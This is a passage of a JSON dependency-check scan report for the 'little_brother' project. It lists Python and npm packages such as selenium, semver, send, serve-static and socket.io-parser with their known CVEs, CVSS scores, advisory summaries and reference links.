      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:secure\/0.3.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "secure"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "secure"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "0.3.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/secure@0.3.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/secure@0.3.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "secure:0.3.0",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:secure\/0.3.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "secure"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "secure"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "0.3.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/secure@0.3.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/secure@0.3.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "selenium:4.10.0",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:selenium\/4.10.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "selenium"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "selenium"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "4.10.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/selenium@4.10.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/selenium@4.10.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilityIds": [
        {
          "id": "cpe:2.3:a:selenium:selenium:4.10.0:*:*:*:*:*:*:*",
          "confidence": "HIGHEST",
          "url": "https:\/\/nvd.nist.gov\/vuln\/search\/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Aselenium&cpe_product=cpe%3A%2F%3Aselenium%3Aselenium&cpe_version=cpe%3A%2F%3Aselenium%3Aselenium%3A4.10.0"
        }
      ],
      "vulnerabilities": [
        {
          "source": "NVD",
          "name": "CVE-2023-5590",
          "severity": "HIGH",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "exploitabilityScore": "3.9",
            "impactScore": "3.6",
            "version": "3.1"
          },
          "cwes": [
            "CWE-476"
          ],
          "description": "NULL Pointer Dereference in GitHub repository seleniumhq\/selenium prior to 4.14.0.",
          "notes": "",
          "references": [
            {
              "source": "security@huntr.dev",
              "url": "https:\/\/huntr.dev\/bounties\/e268cd68-4f34-49bd-878b-82b96dcc0c99",
              "name": "EXPLOIT,PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security@huntr.dev",
              "url": "https:\/\/github.com\/seleniumhq\/selenium\/commit\/023a0d52f106321838ab1c0997e76693f4dcbdf6",
              "name": "PATCH"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:selenium:selenium:*:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true",
                "versionEndExcluding": "4.14.0"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "selenium:4.10.0",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:selenium\/4.10.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "selenium"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "selenium"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "4.10.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/selenium@4.10.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/selenium@4.10.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilityIds": [
        {
          "id": "cpe:2.3:a:selenium:selenium:4.10.0:*:*:*:*:*:*:*",
          "confidence": "HIGHEST",
          "url": "https:\/\/nvd.nist.gov\/vuln\/search\/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Aselenium&cpe_product=cpe%3A%2F%3Aselenium%3Aselenium&cpe_version=cpe%3A%2F%3Aselenium%3Aselenium%3A4.10.0"
        }
      ],
      "vulnerabilities": [
        {
          "source": "NVD",
          "name": "CVE-2023-5590",
          "severity": "HIGH",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "exploitabilityScore": "3.9",
            "impactScore": "3.6",
            "version": "3.1"
          },
          "cwes": [
            "CWE-476"
          ],
          "description": "NULL Pointer Dereference in GitHub repository seleniumhq\/selenium prior to 4.14.0.",
          "notes": "",
          "references": [
            {
              "source": "security@huntr.dev",
              "url": "https:\/\/huntr.dev\/bounties\/e268cd68-4f34-49bd-878b-82b96dcc0c99",
              "name": "EXPLOIT,PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security@huntr.dev",
              "url": "https:\/\/github.com\/seleniumhq\/selenium\/commit\/023a0d52f106321838ab1c0997e76693f4dcbdf6",
              "name": "PATCH"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:selenium:selenium:*:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true",
                "versionEndExcluding": "4.14.0"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "semver:3.0.2",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:semver\/3.0.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "semver"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "semver"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "3.0.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/semver@3.0.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/semver@3.0.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "semver:3.0.2",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:semver\/3.0.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "semver"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "semver"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "3.0.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/semver@3.0.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/semver@3.0.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "semver:7.3.8",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/package-lock.json?semver",
      "projectReferences": [
        "package-lock.json: transitive"
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "package.json",
            "name": "name",
            "value": "semver"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "name",
            "value": "semver"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "version",
            "value": "7.3.8"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:npm\/semver@7.3.8",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:npm\/semver@7.3.8?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2022-25883",
          "severity": "HIGH",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-1333"
          ],
          "description": "Versions of the package semver before 7.5.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.\r\r\r\n\nSonatype's research suggests that this CVE's details differ from those defined at NVD. See https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2022-25883 for details",
          "notes": "",
          "references": [
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2022-25883?component-type=npm&component-name=semver&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2022-25883] CWE-1333"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/vuldb.com\/?id.232060",
              "name": "https:\/\/vuldb.com\/?id.232060"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/npm\/node-semver\/pull\/564",
              "name": "https:\/\/github.com\/npm\/node-semver\/pull\/564"
            },
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2022-25883",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2022-25883"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:semver:7.3.8:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        },
        {
          "source": "NPM",
          "name": "GHSA-c2qf-rxjj-qqgw",
          "unscored": "true",
          "severity": "high",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-1333"
          ],
          "description": "Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/npm\/node-semver\/pull\/585",
              "name": "https:\/\/github.com\/npm\/node-semver\/pull\/585"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/npm\/node-semver\/blob\/main\/internal\/re.js#L160",
              "name": "https:\/\/github.com\/npm\/node-semver\/blob\/main\/internal\/re.js#L160"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/npm\/node-semver\/commit\/717534ee353682f3bcf33e60a8af4292626d4441",
              "name": "https:\/\/github.com\/npm\/node-semver\/commit\/717534ee353682f3bcf33e60a8af4292626d4441"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/npm\/node-semver\/blob\/main\/internal\/re.js#L138",
              "name": "https:\/\/github.com\/npm\/node-semver\/blob\/main\/internal\/re.js#L138"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-c2qf-rxjj-qqgw",
              "name": "https:\/\/github.com\/advisories\/GHSA-c2qf-rxjj-qqgw"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/npm\/node-semver\/blob\/main\/classes\/range.js#L97-L104",
              "name": "https:\/\/github.com\/npm\/node-semver\/blob\/main\/classes\/range.js#L97-L104"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2022-25883",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2022-25883"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/security.snyk.io\/vuln\/SNYK-JS-SEMVER-3247795",
              "name": "https:\/\/security.snyk.io\/vuln\/SNYK-JS-SEMVER-3247795"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/npm\/node-semver\/commit\/2f8fd41487acf380194579ecb6f8b1bbfe116be0",
              "name": "https:\/\/github.com\/npm\/node-semver\/commit\/2f8fd41487acf380194579ecb6f8b1bbfe116be0"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/npm\/node-semver\/pull\/564",
              "name": "https:\/\/github.com\/npm\/node-semver\/pull\/564"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/npm\/node-semver\/commit\/928e56d21150da0413a3333a3148b20e741a920c",
              "name": "https:\/\/github.com\/npm\/node-semver\/commit\/928e56d21150da0413a3333a3148b20e741a920c"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/npm\/node-semver\/pull\/593",
              "name": "https:\/\/github.com\/npm\/node-semver\/pull\/593"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:semver:\\>\\=7.0.0\\<7.5.2:*:*:*:*:*:*:*"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "send:0.18.0",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/package-lock.json?send",
      "projectReferences": [
        "package-lock.json: transitive"
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "package.json",
            "name": "name",
            "value": "send"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "name",
            "value": "send"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "version",
            "value": "0.18.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:npm\/send@0.18.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:npm\/send@0.18.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "NPM",
          "name": "GHSA-m6fv-jmcg-4jfg",
          "unscored": "true",
          "severity": "moderate",
          "cvssv3": {
            "baseScore": 5.0,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "UNCHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "LOW",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "### Impact\n\npassing untrusted user input - even after sanitizing it - to `SendStream.redirect()` may execute untrusted code\n\n### Patches\n\nthis issue is patched in send 0.19.0\n\n### Workarounds\n\nusers are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist\n\n### Details\n\nsuccessful exploitation of this vector requires the following:\n\n1. The attacker MUST control the input to response.redirect()\n1. express MUST NOT redirect before the template appears\n1. the browser MUST NOT complete redirection before:\n1. the user MUST click on the link in the template\n",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/pillarjs\/send\/commit\/ae4f2989491b392ae2ef3b0015a019770ae65d35",
              "name": "https:\/\/github.com\/pillarjs\/send\/commit\/ae4f2989491b392ae2ef3b0015a019770ae65d35"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-43799",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-43799"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/pillarjs\/send\/security\/advisories\/GHSA-m6fv-jmcg-4jfg",
              "name": "https:\/\/github.com\/pillarjs\/send\/security\/advisories\/GHSA-m6fv-jmcg-4jfg"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-m6fv-jmcg-4jfg",
              "name": "https:\/\/github.com\/advisories\/GHSA-m6fv-jmcg-4jfg"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:send:\\<0.19.0:*:*:*:*:*:*:*"
              }
            }
          ]
        },
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-43799",
          "severity": "MEDIUM",
          "cvssv3": {
            "baseScore": 4.699999809265137,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "Send is a library for streaming files from the file system as a http response. Send passes untrusted user input to SendStream.redirect() which executes untrusted code. This issue is patched in send 0.19.0.\n\nSonatype's research suggests that this CVE's details differ from those defined at NVD. See https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-43799 for details",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-43799",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-43799"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-43799?component-type=npm&component-name=send&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-43799] CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/pillarjs\/send\/security\/advisories\/GHSA-m6fv-jmcg-4jfg",
              "name": "https:\/\/github.com\/pillarjs\/send\/security\/advisories\/GHSA-m6fv-jmcg-4jfg"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:send:0.18.0:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "serve-static:1.15.0",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/package-lock.json?serve-static",
      "projectReferences": [
        "package-lock.json: transitive"
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "package.json",
            "name": "name",
            "value": "serve-static"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "name",
            "value": "serve-static"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "version",
            "value": "1.15.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:npm\/serve-static@1.15.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:npm\/serve-static@1.15.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "NPM",
          "name": "GHSA-cm22-4g7w-348p",
          "unscored": "true",
          "severity": "moderate",
          "cvssv3": {
            "baseScore": 5.0,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "UNCHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "LOW",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "### Impact\n\npassing untrusted user input - even after sanitizing it - to `redirect()` may execute untrusted code\n\n### Patches\n\nthis issue is patched in serve-static 1.16.0\n\n### Workarounds\n\nusers are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist\n\n### Details\n\nsuccessful exploitation of this vector requires the following:\n\n1. The attacker MUST control the input to response.redirect()\n1. express MUST NOT redirect before the template appears\n1. the browser MUST NOT complete redirection before:\n1. the user MUST click on the link in the template\n",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-cm22-4g7w-348p",
              "name": "https:\/\/github.com\/advisories\/GHSA-cm22-4g7w-348p"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/expressjs\/serve-static\/security\/advisories\/GHSA-cm22-4g7w-348p",
              "name": "https:\/\/github.com\/expressjs\/serve-static\/security\/advisories\/GHSA-cm22-4g7w-348p"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/expressjs\/serve-static\/commit\/0c11fad159898cdc69fd9ab63269b72468ecaf6b",
              "name": "https:\/\/github.com\/expressjs\/serve-static\/commit\/0c11fad159898cdc69fd9ab63269b72468ecaf6b"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/expressjs\/serve-static\/commit\/ce730896fddce1588111d9ef6fdf20896de5c6fa",
              "name": "https:\/\/github.com\/expressjs\/serve-static\/commit\/ce730896fddce1588111d9ef6fdf20896de5c6fa"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-43800",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-43800"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:serve-static:\\<1.16.0:*:*:*:*:*:*:*"
              }
            }
          ]
        },
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-43800",
          "severity": "MEDIUM",
          "cvssv3": {
            "baseScore": 4.699999809265137,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "serve-static serves static files. serve-static passes untrusted user input - even after sanitizing it - to redirect() may execute untrusted code. This issue is patched in serve-static 1.16.0.\n\nSonatype's research suggests that this CVE's details differ from those defined at NVD. See https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-43800 for details",
          "notes": "",
          "references": [
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-43800?component-type=npm&component-name=serve-static&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-43800] CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"
            },
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-43800",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-43800"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/expressjs\/serve-static\/security\/advisories\/GHSA-cm22-4g7w-348p",
              "name": "https:\/\/github.com\/expressjs\/serve-static\/security\/advisories\/GHSA-cm22-4g7w-348p"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:serve-static:1.15.0:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "setuptools:70.1.1",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:setuptools\/70.1.1",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "setuptools"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "setuptools"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "70.1.1"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/setuptools@70.1.1",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/setuptools@70.1.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "setuptools:70.1.1",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:setuptools\/70.1.1",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "setuptools"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "setuptools"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "70.1.1"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/setuptools@70.1.1",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/setuptools@70.1.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "socket.io-parser:4.2.2",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/package-lock.json?socket.io-parser",
      "projectReferences": [
        "package-lock.json: transitive"
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "package.json",
            "name": "name",
            "value": "socket.io-parser"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "name",
            "value": "socket.io-parser"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "version",
            "value": "4.2.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:npm\/socket.io-parser@4.2.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:npm\/socket.io-parser@4.2.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2023-32695",
          "severity": "HIGH",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-754"
          ],
          "description": "socket.io parser is a socket.io encoder and decoder written in JavaScript complying with version 5 of socket.io-protocol. A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process. A patch has been released in version 4.2.3.\n\n\n\nSonatype's research suggests that this CVE's details differ from those defined at NVD. See https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2023-32695 for details",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
